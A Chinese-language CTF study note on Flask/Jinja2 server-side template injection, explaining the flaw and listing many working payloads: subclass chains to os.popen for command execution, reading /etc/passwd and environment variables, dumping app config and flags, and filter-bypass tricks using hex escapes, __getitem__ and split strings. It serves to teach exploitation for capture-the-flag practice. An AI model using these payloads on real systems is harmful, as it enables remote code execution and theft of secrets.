我以为的框架就是那种现成的空房子,接下来具体的室内设计(具体功能)就在里面写就行
二。ssti 1.是什么意思“SSTI,即服务端模板注入,起因是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染(其实就是呈现的意思)的过程中,执行了用户插入的恶意内容”
这个我见过的大多数是在url上(也有在输入框中的)用特定参数上传的链式调用,执行一些linux命令
2.为什么在flask中会有ssti漏洞代码问题
安全的代码
上面的内容是之前搜集的一个大佬的内容(不过这一块我还是不太懂,感觉最大的区别就是本来用户控制的变量被转义了?一个参数code=code,知道原因的友友可以发消息告诉我)
3.怎么知道有ssti漏洞就举一种,光看界面根本不知道这个是啥,如果是单练题题目会告诉你是flask的ssti,但是比赛的话,就不知道了
这个一看就是需要注入,而且参数名是password,但是它没告诉你是flask,就需要你自己去测
三。必备技能 条件和循环 {% %}
链式调用{{ }}
1.当然是魔术方法啦
(我的python语言目前不是很好,上面的是截的天问的图)
重点全过程无非就是这两张图
最开始的是一个空的字符串对象,在真正的操作中它可以是“”或者config对象或者[]
class通过这个实例化类(对象)找到它的类base/bases/mro找到父类subclasses()找到子类群(这个是一个函数,要加一个括号)要想让对方执行函数,你需要找到里面的你要的模块在哪个类里面,
写代码找到你需要的那个父类的具体位子(中括号里面的数字[166]/[59]是具体找出来的)
举一个例子
可以理解为,___subclasses__()[71]返回的是一个子类,类里面第一个函数__init__里面本来就是成员变量,__globals__返回的就是全局变量的字典,os的模块就相当于是键
1.config:
配置文件:有用户名,账号密码,cookie,密匙的地方
app.config就是一个配置文件,里面的就四个变量信息,用户名,数据库,ip地址,还有一个密码。
查询配置信息
{{config}}或者{{self.__dict__}}直接看,实在不行,{{(固定格式+popen('env').read()}}
2.ls和cat
ls 列出目录文件,最常用的就是popen('ls'),直到我有一天看到了popen('ls /../..')
从最开始的就一个文件到最后的啥都有,就是一个/../.、(这两张图的是一道题,不同的靶场)
注意:ls的目录性质,文件夹里面还有文件夹,cat的时候上级目录还要带着
3。builtins
这个模块里面有很多可以用的函数
4.globals['key']() 的含义是:从全局环境中找到名为 key 的函数/类等 的对象,并执行它。
5./etc/passwd
”用户数据库,其中的域给出了用户名、真实姓名、家目录、加密的口令和用户的其他信息“.
6.os.listdir() (这个感觉和ls很像)
用于返回指定的文件夹包含的文件或文件夹的名字的列表。
上手的链式调用结构python2
“”.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].popen(‘ls’).read()}}
“”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}
py3
"".__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
虽然getstatusoutput这个函数不常用,但是把他拆了,get status得到状态,output输出,这个挺好记的,感觉作用和popen一样,方式也一样
“”.__class__.__mro__[2].__class__.__subclasses__()[59].__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).popen(‘ls’).read()}}
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{% endif %}{% endfor %}
eval函数虽说能用,但是...我感觉这个有点废柴,
{{"".__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
本来import就在builtins里面,根本不需要绕一圈
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
绕过+题目 1.怎么看出来过滤的看回显,报错就是有过滤
2.绕过方法过滤 {{ }}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
过滤 .
使用十六进制x2e代表
过滤 [ ]
将[]用__getitem__()替代、
比如:
原来:
{{"".__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}
替换后:
{{"".__class__.__mro__[1].__subclasses__().__getitem__(166).__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}
过滤 __
使用十六进制x5f绕过
过滤globals等等类似的魔术方法
拼接['__glo'+'bal__']
过滤popen
(实例)
payload:
{% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').popen('ls').read()}}{% endif %}{% endfor %}
这表明popen被过滤掉了,开始尝试
{% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('ls').read()}}{% endif %}{% endfor %}
成功了!
事实证明,使用函数的时候,就比如os后面的函数popen,他不可以直接是(‘o’+‘s’).[‘po’+’pen’],这样是错的,必须要在前面加一个__dict__,可能是os模块中的函数太多就需要dict加键名吧
过滤了单独出现的config
{{get_flashed_messages.__globals__['current_app'].config.['FLAG']}}}
{{url_for.__globals__['current_app'].config['FLAG']}}
以为的整理完了,然鹅,其实还有..
有些方式没有见过,希望以后的题目中可以看到
(孩子题目少,狗头)
参考:
细说Jinja2之SSTI&bypass - 合天网安实验室 - 博客园